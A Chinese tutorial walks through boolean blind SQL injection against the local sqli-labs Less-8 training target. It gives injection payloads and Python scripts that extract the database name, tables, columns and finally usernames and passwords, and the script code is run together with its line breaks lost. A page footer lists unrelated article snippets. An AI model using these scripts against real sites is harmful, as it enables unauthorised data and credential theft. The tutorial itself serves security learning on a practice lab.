Sqli-labs-master靶场--布尔盲注

目录

1、布尔盲注

2、布尔盲注的流程(以靶场less-8为例)

2.1输入id尝试是否存在注入点

2.1.1通过以上尝试,联想到可能是布尔盲注

2.2猜测数据库长度

2.3获取数据库名

2.3.1python脚本获取

代码:

获取结果为:

2.4获取表名

2.4.1count() 函数获取表名长度

2.4.2获取表名

代码:

结果:

2.5获取字段名

代码:

结果:

获取数据:


1、布尔盲注

        布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,布尔盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

2、布尔盲注的流程(以靶场less-8为例)

2.1输入id尝试是否存在注入点

        输入?id=1后,显示为下图

        输入?id=1' 后,显示与上方不同,存在注入点

        判断一下字段数:?id=1’ order by 3 --+,显示You are in…

        尝试显示报错位:?id=1' union select 1,2,3 --+,仍然为You are in…

2.1.1通过以上尝试,联想到可能是布尔盲注

2.2猜测数据库长度

确定数据库长度为8。

2.3获取数据库名

        通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

?id=1' and ascii(substr(database(),1,1))=97--+

        如上图所示,如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面,可以通过这种方式获取到数据库名,但效率过于低下,所以我们使用脚本来获取数据库名。

2.3.1python脚本获取

        使用下列代码就可以获取到数据库名

代码:
import timeimport requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def inject_database(url):name = ''for i in range(1, 20):for j in range(32, 129):payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:name = name + chr(j)print(name)breakelse:continueinject_database(url)
获取结果为:

2.4获取表名

2.4.1count() 函数获取表名长度

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

由上图可见,看出security下有四张表

2.4.2获取表名

利用下面的python脚本就可以获取到所有的表名

代码:
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)params = {'id': payload} # 发送 GET 请求r = requests.get(url, params=params)if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  breakname += chr(mid)print(name)boolean_blind_inject(url)
结果:

2.5获取字段名

        利用表名可以获取到用户的账户和密码在users表中,使用上面python脚本来获取字段名,需要将刚才的python脚本中payload的内容换一下。

代码:
import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 50):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)
结果:

获取数据:

import requestsurl = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'def boolean_blind_inject(url):name = ''for i in range(1, 200):low = 32high = 128while low < high:mid = (low + high) // 2# 构造布尔盲注的payloadpayload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)params = {'id': payload}  # 使用 params 而不是 data# 发送 GET 请求r = requests.get(url, params=params)# 根据页面内容或状态码判断是否注入成功if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾breakname += chr(mid)print(name)# 调用函数
boolean_blind_inject(url)

ok,完成。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/394889.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hive SQL ——窗口函数源码阅读

前言 使用Starrocks引擎中的窗口函数 row_number() over( )对10亿的数据集进行去重操作&#xff0c;BE内存溢出问题频发&#xff08;忘记当时指定的BE内存上限是多少了.....&#xff09;&#xff0c;此时才意识到&#xff0c;开窗操作&#xff0c;如果使用 不当&#xff0c;反而…

1. js混淆-源码乱码

目录 调试干扰参数逆向 调试干扰 打开开发者工具&#xff0c;首先会进入 setInterval 生成的 debugger 将 uzt.js uyt.js 内容替换 将这两个文件的内容置空&#xff0c;并刷新页面就可以正常调试了 参数逆向 点击翻页&#xff0c;可以发现 https://match.yuanrenxue.cn/api…

Arduino导入实例程序的过程,实例包文件却编译显示缺失文件

参考中实例程序中的readme.txt 导入方式 下面是文档中的使用方式 1.基本信息&#xff1a; 本例程是基于Arduino进行开发的&#xff0c;例程均在E-Paper ESP8266 Driver Board上进行了验证;2.基本使用&#xff1a;方法1&#xff1a;将整个esp8266-waveshare-epd文件夹复制到C…

【Go】通过反射解析对象tag信息,实现简易ORM

反射是运行时&#xff0c;需要在运行时解析类型信息&#xff0c;编译期无法优化这些操作&#xff0c;因此比编译时已知类型信息的直接调用效率要低。 package mainimport ("fmt""reflect""strings" )type Person struct {Name string json:&quo…

PicGo + gitee 免费搭建个人图床

目录 1 图床概念2 使用gitee和PicGo搭建图床流程2.1 下载安装PicGo工具 3 图片上传错误处理3.1 PicGo客户端提示404错误信息图片上传失败3.2 PicGo客户端提示400错误信息图片上传失败 1 图床概念 ​ "图床"是一个网络术语&#xff0c;它指的是一种用于存储和托管图片…

理解张量拼接(torch.cat)

拼接 维度顺序&#xff1a;对于 3D 张量&#xff0c;通常可以理解为 (深度, 行, 列) 或 (批次, 行, 列)。 选择一个dim进行拼接的时候其他两个维度大小要相等 对于三维张量&#xff0c;理解 torch.cat 的 dim 参数确实变得更加抽象&#xff0c;但原理是相同的。让我们通过一…

算法力扣刷题记录 六十九【动态规划基础及509. 斐波那契数】

前言 调整一下做题顺序&#xff0c;多个章节同步进行&#xff0c;穿插练习。可以在各章节的专栏中找同一类。 记录 六十九【动态规划基础】。 一、动态规划理论基础学习 参考学习链接 二、509. 斐波那契数 2.1 题目阅读 斐波那契数 &#xff08;通常用 F(n) 表示&#x…

html+css+js网页设计 中国移动5个页面(带js)

htmlcssjs网页设计 中国移动5个页面&#xff08;带js&#xff09; 网页作品代码简单&#xff0c;可使用任意HTML编辑软件&#xff08;如&#xff1a;Dreamweaver、HBuilder、Vscode 、Sublime 、Webstorm、Text 、Notepad 等任意html编辑软件进行运行及修改编辑等操作&#xf…

Cpp中的this指针--复习记录

1.什么是this指针? 每个类都有一个this指针&#xff0c;我们的非静态成员函数可以通过这个this指针来操作对象的成员属性。this指针存储的就是类的实例的地址&#xff0c;this指针时时刻刻指向的都是这个实例对象本身。 由下图可知: 我在主函数中栈上创建了一个类的实例(由操…

【Python-实操】LabelMe to YOLOv8 Converter

LabelMe to YOLOv8 Converter 这是一个 Python 脚本&#xff0c;用于将 LabelMe 标注工具导出的 JSON 文件转换为 YOLOv8 格式的标注文件&#xff0c;并同时在图像上绘制标注的多边形。 功能 读取 LabelMe JSON 文件。解码并显示图像。从 classes.txt 文件加载类别标签。将多…

Java | Leetcode Java题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; class Solution {public int countRangeSum(int[] nums, int lower, int upper) {long sum 0;long[] preSum new long[nums.length 1];for (int i 0; i < nums.length; i) {sum nums[i];preSum[i 1] sum;}BalancedTree treap ne…

Java参数传递

Java参数传递 一、 方法重载 一个类中可以存在多个同名的方法&#xff0c;只要这些方法的参数列表不同即可。 参数列表不同&#xff1a;参数个数或者参数类型不同方法重载与修饰符、返回值类型等统统无关&#xff0c;只看参数列表 二、 可变个数的形参 从Java5.0开始&…

陶瓷材质的防静电架空地板越来越受欢迎的原因

目前市面上的陶瓷防静电架空地板主要分为两种&#xff1a;钢基和硫酸钙基。前者是以全钢冲孔裸板作为板基&#xff0c;经粘接、固定整型和灌浆的方式加工而成&#xff0c;后者是以复合硫酸钙板为基材&#xff0c;表面粘接防静电陶瓷砖&#xff0c;四周导电PVC边条封边。近年来陶…

【C++】vector 的模拟实现

&#x1f4e2;博客主页&#xff1a;https://blog.csdn.net/2301_779549673 &#x1f4e2;欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff01; &#x1f4e2;本文由 JohnKi 原创&#xff0c;首发于 CSDN&#x1f649; &#x1f4e2;未来很长&#…

02_快速启动 Demo 创建 Electron 项目、electron-forge 搭建一个 electron 项目、手动创建electron项目

快速启动 Demo 创建 Electron 项目 一、克隆一个仓库、快速启动一个项目二、electron-forge 搭建一个 electron 项目三、手动搭建一个 electron 项目四、开发工具中配置 Eslint 一、克隆一个仓库、快速启动一个项目 要使用 git 的话首先电脑上面需要安装 git //克隆示例项目的…

Qt3D给圆环等立体图形添加纹理图片

添加纹理图片&#xff0c;首先需要自己找一个纹理图&#xff0c;当然了&#xff0c;随便什么图片都行。 创建3D图形的主要步骤查看另一篇文章。 这里主要代码如下&#xff1a; 使用QTextureLoader加载图片&#xff0c;图片路径需为qrc:/的路径。 auto *planeTransform1 ne…

嵌入式学习day13(C高级Linux命令)

一丶进程管理命令 1.grep 功能&#xff1a;从文件中查找字符串 格式&#xff1a;grep "要查找的字符串" 文件名 精确查找&#xff1a;grep "\<要查找的字符串\>" 文件名 结合ps以及管道&#xff1a;ps -ef | grep a.out: 从进程信息中查找带…

10个理由告诉你,为什么鸿蒙是下一个职业风口!

在当今科技飞速发展的时代&#xff0c;新的技术和趋势不断涌现&#xff0c;为人们带来了前所未有的机遇和挑战。鸿蒙操作系统作为我国自主研发的创新成果&#xff0c;正逐渐成为科技领域的焦点&#xff0c;被认为是下一个职业风口。 10个理由告诉你&#xff0c;为什么鸿蒙是下一…

【海贼王航海日志:前端技术探索】CSS你了解多少?(二)

目录 1 -> 字体属性 1.1 -> 设置字体 1.2 -> 字体大小 1.3 -> 字体粗细 1.4 -> 文字样式 2 -> 文本属性 2.1 -> 文本颜色 2.1.1 -> 认识RGB 2.1.2 -> 设置文本颜色 2.2 -> 文本对齐 2.3 -> 文本装饰 2.4 -> 文本缩进 2.5 -&g…

vue的nextTick是下一次事件循环吗

如题&#xff0c;nextTick的回调是在下一次事件循环被执行的吗&#xff1f; 是不是下一次事件循环取决于nextTick的实现&#xff0c;如果是用的微任务&#xff0c;那么就是本次事件循环&#xff1b;否则如果用的是宏任务&#xff0c;那么就是下一次事件循环。 我们看下Vue3中…